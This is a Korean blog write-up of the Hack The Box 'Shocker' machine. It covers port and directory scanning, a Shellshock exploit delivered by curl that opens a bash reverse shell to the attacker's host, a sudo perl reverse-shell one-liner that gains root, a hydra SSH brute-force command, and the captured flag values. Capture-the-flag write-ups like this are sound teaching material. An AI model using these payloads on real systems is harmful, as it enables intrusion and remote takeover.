-
[HTB] Shocker WriteupWargame/Hack The Box 2022. 1. 8. 07:16
포트 스캐닝을 통해 대상 머신에 대한 정보를 파악해보자.
nmap -sC -sS -sV -O -p- -o scanResult.txt 10.129.172.106
80포트와 2222포트가 활성화되어있었다. 웹페이지에 접근별과 아래와같은 화면이 나타날 뿐 별다른 특이점은 발견하지 못했다.
dirb 결과 /cgi-bin/ 디렉토리가 존재함을 알 수 있었다.
dirb http://10.129.173.251/cgi-bin/
apache, cgi 등 키워드로 구글링을 통해 ShellShock Attack 에 대한 가능성을 확인했다. 공부 결과 /cgi-bin/ 경로 안에 .cgi 혹은 .sh 파일이 필요한것 같아서 dirb에 -X(확장자 지정) 옵션을 더해 재탐색해보았다.
dirb http://10.129.173.251/cgi-bin/ -X .sh,.cgi
user.sh 라는 파일이 발견되어, 이를 활용하기로 했다. 아래 자료의 공격 기법을 참고하여 Reverse Shell을 획득 및 user.txt를 얻을 수 있었다.
https://book.hacktricks.xyz/pentesting/pentesting-web/cgi
CGI - HackTricks
The CGI scripts are perl scripts, so, if you have compromised a server that can execute .cgi scripts you can upload a perl reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl), change the extension from .pl to .cgi, give execute permissions (chm
book.hacktricks.xyz
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.14.80/1234 0>&1' http://10.129.173.251/cgi-bin/user.sh
권한 상승을 위해 아래 명령어를 통해 perl을 사용하면 root권한으로 명령어를 실행시킬 수 있다고 생각했다.
sudo -l
아래와 같이 perl을 활용한 Reverse Shell을 통해 root권한을 획득 할 수 있었다.
sudo perl -e 'use Socket;$i="10.10.14.80";$p=4321;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
FLAG =
[user] 2ec24e11320026d1e70ff3e16695b233
[root] 52c2715605d70c7619030560dc1ca467
-----------------------------------------------------------------------------------------------------------------------------------
openssh 7.2p2 에 대해 계정 존재여부를 판별하는 취약점이 있었다.
root 계정에 대해 hydra를 통해 brute force 공격을 진행해보았지만, 결과가 나오기전에 문제를 해결했다.
hydra -s 2222 -v -V -l root -P /usr/share/wordlists/rockyou.txt 10.129.173.251 ssh
반응형'Wargame > Hack The Box' 카테고리의 다른 글
[HTB] Granny Writeup (0) 2022.01.13 [HTB] Optimum Writeup (0) 2022.01.11 [HTB] Blue Writeup (0) 2022.01.07 [HTB] Bashed Writeup (0) 2022.01.06 [HTB] legacy Writeup (0) 2022.01.05